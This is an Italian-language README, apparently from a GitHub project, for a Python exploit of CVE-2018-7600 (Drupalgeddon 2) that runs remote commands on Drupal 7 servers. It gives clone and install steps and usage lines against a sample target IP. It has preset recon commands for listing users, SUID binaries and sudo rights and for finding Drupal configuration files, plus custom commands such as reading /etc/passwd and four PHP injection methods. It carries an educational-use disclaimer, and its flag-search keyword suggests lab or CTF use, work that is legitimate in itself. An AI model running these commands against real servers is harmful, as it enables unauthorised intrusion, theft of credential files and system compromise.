
Exploit Python per CVE-2018-7600 (Drupalgeddon 2) che consente l'esecuzione remota di codice su Drupal 7 con più metodi di iniezione e comandi predefiniti per Linux e Windows.
bixi.pybixi.py è un exploit per la vulnerabilità CVE‑2018‑7600 (Drupalgeddon 2) che colpisce Drupal 7.
Permette l'esecuzione remota di comandi (RCE) su server Drupal vulnerabili tramite un'interfaccia intuitiva e comandi predefiniti.
QUESTO SOFTWARE È SOLO A SCOPO EDUCATIVO E DI RICERCA IN AMBIENTI CONTROLLATI.
"With great power comes great responsibility"
systempassthruexecshell_execgit clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600
# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests
# Altre distribuzioni
pip3 install requests
chmod +x bixi.py
python3 bixi.py --help
python3 bixi.py <URL> <COMANDO/PAROLA_CHIAVE> [INJECTION_TYPE]
# Verificare vulnerabilità
python3 bixi.py http://10.99.99.6/drupal/ test
# Rilevare sistema operativo
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows
# Elencare utenti
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user
# Informazioni di sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig
# Comandi personalizzati
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
| Comando | Descrizione |
|---|---|
| linux | Informazioni di sistema |
| users_linux | Elencare utenti |
| id | Info utente/gruppi |
| ls | Elencare file |
| ifconfig | Info rete |
| find_flag | Cercare flags |
| Comando | Descrizione |
|---|---|
| windows | Informazioni di sistema |
| net_user | Elencare utenti |
| whoami_win | Info dettagliata |
| ipconfig | Rete |
| netstat_win | Connessioni |
| dir | Elencare directory |
| Comando | Descrizione |
|---|---|
| sudo | Verificare privilegi sudo |
| suid | Cercare binari SUID |
| net_localgroup | Gruppi locali |
| drupal_config | Cercare configurazioni |
| drupal_version | Ottenere versione Drupal |
# system (default)
python3 bixi.py http://target/ "whoami" system
# passthru
python3 bixi.py http://target/ "whoami" passthru
# exec
python3 bixi.py http://target/ "whoami" exec
# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec
drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│ ├── linux_commands.txt
│ └── windows_commands.txt
└── screenshots/
├── help_screen.png
└── exploit_success.png
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
Modificare valore predefinito (15 secondi):
timeout=15
Modificare il dizionario commands in get_command_for_keyword()
pip3 install requests
# Verificar conectividad
ping TARGET_IP
# Verificar ruta Drupal
curl http://TARGET_IP/drupal/